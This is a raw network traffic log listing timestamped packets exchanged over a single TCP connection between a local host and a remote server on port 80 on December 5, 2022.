Dec 5, 2022 06:44:36.520153999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520159006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520175934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520176888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520194054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520195007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520212889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520215988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520230055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520240068 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520248890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520263910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520263910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520267963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520282984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520286083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520303011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520303965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520319939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520338058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520345926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520345926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520354986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520371914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520374060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520390034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520394087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520406961 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520412922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520431042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520431995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520431042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520452023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520452976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520469904 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520469904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520489931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520505905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520507097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520505905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520526886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520528078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520545006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520546913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520565033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520567894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520581961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520586014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520600080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520601988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520618916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520636082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520644903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520644903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520653009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520664930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520670891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520689964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520690918 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520692110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520709038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520710945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520728111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520731926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520745993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520750046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520765066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520782948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520790100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520798922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520809889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520817995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520833015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520834923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520848989 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520853043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520864010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520872116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520881891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520890951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520899057 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520908117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520915985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520926952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520931959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520944118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520948887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520962000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520965099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520979881 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520981073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520999908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521012068 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521013021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521018028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521034956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521037102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521055937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521068096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521068096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521075010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521092892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521091938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521106958 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521111965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521131039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521147013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521164894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521181107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521182060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521198034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521214008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521224976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521224976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521229982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521248102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521249056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521265030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521279097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521281004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521298885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521311998 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521317959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521330118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521338940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521357059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521364927 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521373987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521380901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521392107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521409035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521418095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521418095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521426916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521440029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521444082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521456957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521461964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521472931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521481037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521491051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521501064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521508932 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521519899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521527052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521539927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521552086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521552086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521558046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521575928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521591902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521604061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521610022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521621943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521627903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521648884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521650076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521666050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521678925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521684885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521703005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521718979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521728039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521735907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521748066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521754980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521764994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521774054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521790981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.521794081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521815062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521843910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.521843910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.522250891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526379108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526396990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526413918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526432037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526458025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526480913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526633024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526649952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526667118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526684999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526686907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526704073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526717901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526721001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526731968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526740074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526756048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526758909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526771069 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526777983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526782990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526796103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526798964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526813984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526817083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526832104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526833057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526853085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526853085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526865959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526870966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526907921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526923895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526942015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526941061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526961088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526978970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.526993036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.526997089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527015924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527029037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527034998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527055025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527069092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527071953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527092934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527111053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527122021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527129889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527137995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527149916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527153015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527168989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527179956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527188063 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527195930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527206898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527225018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527244091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527246952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527261972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527275085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527282000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527299881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527303934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527318954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527324915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527343988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527352095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527363062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527364969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527383089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527390003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527403116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527403116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527421951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527436972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527441978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527452946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527462959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527472019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527481079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527487040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527499914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527514935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527518988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527529955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527544022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527559042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527568102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527580023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527584076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527599096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527611017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527617931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527622938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527647972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527652025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527664900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.527667046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527686119 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527704000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527720928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527738094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527755976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527813911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527832985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527849913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527865887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527884007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527899981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527968884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.527986050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528002977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528018951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528034925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528052092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528053999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528069019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528126001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528141975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528240919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528248072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528286934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528389931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528407097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528424978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528434992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528443098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528450966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528466940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528481960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528578043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528594017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528610945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528620005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528628111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528633118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528649092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528670073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528670073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528687000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528748035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528765917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528783083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528793097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528799057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528806925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528816938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528821945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528835058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528841972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528853893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528856039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528872013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528872967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528891087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528896093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528908014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528908968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528925896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528928995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528942108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.528944969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.528959990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529006004 CET	49704	80	192.168.2.3	66.235.200.147
